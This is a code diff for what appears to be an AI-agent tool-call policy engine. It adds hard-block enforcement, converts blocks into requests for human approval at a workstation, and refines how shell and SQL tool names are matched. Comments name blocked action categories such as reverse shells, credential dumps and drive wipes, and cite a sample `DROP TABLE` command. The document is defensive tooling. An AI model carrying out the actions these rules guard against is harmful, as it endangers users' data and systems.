  // the tool's DECLARED operations stand in for what the call does — so a per-operation policy
951
1334
  // (read/write/delete/drop/...) can still match a bare invocation. When the call DOES carry a
@@ -966,6 +1349,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
966
1349
  const monitorMatches = [];
967
1350
  let monitorWorst;
968
1351
  const skippedOrgPolicies = [];
1352
+ // A `block` from a policy marked `enforcement: 'hard'` — kept as a block even
1353
+ // where a human is present (see the workstation ceiling below).
1354
+ let hardBlock;
969
1355
  for (const policy of policies) {
970
1356
  // Org-scoped policies bind to attributed RUNTIME USERS — anonymous/system calls (no
971
1357
  // developerName) are deliberately out of scope. Surfaced via skippedOrgPolicies so
@@ -991,7 +1377,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
991
1377
  const matchedRule = `${rule.operations.join('/')} → ${rule.verdict}${constraintDesc ? ` (${constraintDesc})` : ''}`;
992
1378
  // Monitor-stage policies never enforce — record what WOULD have happened.
993
1379
  if (isMonitorStage) {
994
- if (rule.verdict === 'block' || rule.verdict === 'require_approval') {
1380
+ // A content-only block on a local file would be a warning even when enforced — not a "would block".
1381
+ const wouldOnlyWarn = rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction;
1382
+ if ((rule.verdict === 'block' || rule.verdict === 'require_approval') && !wouldOnlyWarn) {
995
1383
  const match = { policyId: policy.id, policyName: policy.name, verdict: rule.verdict, matchedRule };
996
1384
  monitorMatches.push(match);
997
1385
  if (!monitorWorst || verdictPriority[rule.verdict] > verdictPriority[monitorWorst.verdict])
@@ -999,18 +1387,32 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
999
1387
  }
1000
1388
  continue;
1001
1389
  }
1002
- if (verdictPriority[rule.verdict] > verdictPriority[worstResult.verdict]) {
1003
- worstResult = {
1004
- allowed: rule.verdict === 'allow' || rule.verdict === 'log',
1005
- verdict: rule.verdict,
1006
- policyId: policy.id,
1007
- policyName: policy.name,
1008
- resourceType: policy.resourceType,
1009
- matchedRule,
1010
- reason: `Action policy "${policy.name}": ${rule.operations.join('/')} ${rule.verdict === 'block' ? 'blocked' : rule.verdict === 'require_approval' ? 'requires approval' : rule.verdict}`,
1011
- ...(rule.verdict === 'require_approval' ? { approval: resolveApprovalOptions(rule.approval) } : {}),
1390
+ let matched = {
1391
+ allowed: rule.verdict === 'allow' || rule.verdict === 'log',
1392
+ verdict: rule.verdict,
1393
+ policyId: policy.id,
1394
+ policyName: policy.name,
1395
+ resourceType: policy.resourceType,
1396
+ matchedRule,
1397
+ reason: `Action policy "${policy.name}": ${rule.operations.join('/')} ${rule.verdict === 'block' ? 'blocked' : rule.verdict === 'require_approval' ? 'requires approval' : rule.verdict}`,
1398
+ ...(rule.verdict === 'require_approval' ? { approval: resolveApprovalOptions(rule.approval) } : {}),
1399
+ };
1400
+ // Local content ceiling (see CONTENT_FACT_FIELDS): a block that fires on
1401
+ // what a LOCAL FILE contains is recorded as a warning, never enforced.
1402
+ if (rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction) {
1403
+ matched = {
1404
+ ...matched,
1405
+ allowed: true,
1406
+ verdict: 'log',
1407
+ loggedInsteadOfBlocked: true,
1408
+ reason: `${matched.reason} — recorded as a warning: this only touches a file on this machine and nothing leaves it (the same content leaving the machine still blocks; mark the policy Hard block to stop file edits too)`,
1012
1409
  };
1013
1410
  }
1411
+ if (rule.verdict === 'block' && policy.enforcement === 'hard' && !hardBlock)
1412
+ hardBlock = matched;
1413
+ if (verdictPriority[rule.verdict] > verdictPriority[worstResult.verdict]) {
1414
+ worstResult = matched;
1415
+ }
1014
1416
  else if (rule.verdict === 'require_approval' && worstResult.verdict === 'require_approval') {
1015
1417
  // A second approval rule matched: keep the first rule's attribution but tighten the
1016
1418
  // approval routing to the most restrictive of both (a developer-scoped rule can never
@@ -1022,6 +1424,29 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
1022
1424
  }
1023
1425
  }
1024
1426
  }
1427
+ // Workstation ceiling. With a HUMAN at the keyboard, an org policy's `block`
1428
+ // pauses the action and asks that human — unless a policy marked
1429
+ // `enforcement: 'hard'` also fired, in which case the hard policy blocks and
1430
+ // is the one named. Without a human (CI, workloads, SDK agents, or a caller
1431
+ // that did not assert presence) nothing changes: a block stays a block.
1432
+ // The fixed Local Safety catalog is evaluated before policies and is never
1433
+ // touched by this — root/home/drive wipes, credential dumps, reverse shells
1434
+ // and a secret leaving the machine stay hard everywhere.
1435
+ if (worstResult.verdict === 'block' && context.humanPresent === 'true') {
1436
+ if (hardBlock) {
1437
+ worstResult = { ...hardBlock, allowed: false };
1438
+ }
1439
+ else {
1440
+ worstResult = {
1441
+ ...worstResult,
1442
+ allowed: false,
1443
+ verdict: 'require_approval',
1444
+ approval: { ...exports.WORKSTATION_ASK_APPROVAL },
1445
+ askedInsteadOfBlocked: true,
1446
+ reason: `${worstResult.reason || `Action policy "${worstResult.policyName}" blocked`} — asks you on a workstation (the policy is not marked Hard block)`,
1447
+ };
1448
+ }
1449
+ }
1025
1450
  if (monitorMatches.length > 0) {
1026
1451
  worstResult = { ...worstResult, monitorMatches };
1027
1452
  }
@@ -1083,7 +1508,10 @@ function inferToolContext(toolName, args) {
1083
1508
  // by a SQL verb sniffed out of the command line — `git commit -m "delete old
1084
1509
  // loader"` and `grep "DROP TABLE"` are not DELETE/DROP. A SQL client invoked
1085
1510
  // from a shell (`psql -c "DROP TABLE x"`) is still caught by the shell model.
1086
- const isCodeExecTool = operation === toolName && /\b(node[_-]?repl|repl|shell|exec|terminal|command|run[_-]?code|bash|powershell|cmd)\b/i.test(toolName);
1511
+ // Matched on the separator-normalized name: `\b` does not see `_` as a boundary,
1512
+ // so `shell_command` / `run_terminal_cmd` / `execute_command` (the MCP norm)
1513
+ // would otherwise miss and fall through to SQL sniffing of the raw command line.
1514
+ const isCodeExecTool = operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords);
1087
1515
  const sqlArg = args.query || args.sql || args.statement || (isCodeExecTool ? '' : (args.command || args.code || args.script || args.input)) || '';
1088
1516
  if (!isSearchTool && typeof sqlArg === 'string' && sqlArg.length > 0) {
1089
1517
  const sqlMatch = sqlArg.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
@@ -1095,7 +1523,7 @@ function inferToolContext(toolName, args) {
1095
1523
  // Code execution MCPs such as Cursor shell or Codex node_repl are shell-equivalent,
1096
1524
  // but classify common command text first so safe internal reads (git status, pwd, ls)
1097
1525
  // do not get blocked as high-impact execution.
1098
- if (operation === toolName && /\b(node[_-]?repl|repl|shell|exec|terminal|command|run[_-]?code)\b/i.test(toolName)) {
1526
+ if (operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords)) {
1099
1527
  // Only the command text is classified — never the whole args JSON, which
1100
1528
  // would let a file body or a comment turn a shell call into DELETE.
1101
1529
  operation = classifyShellCommandOperation(String(args.command || args.code || args.script || args.input || ''));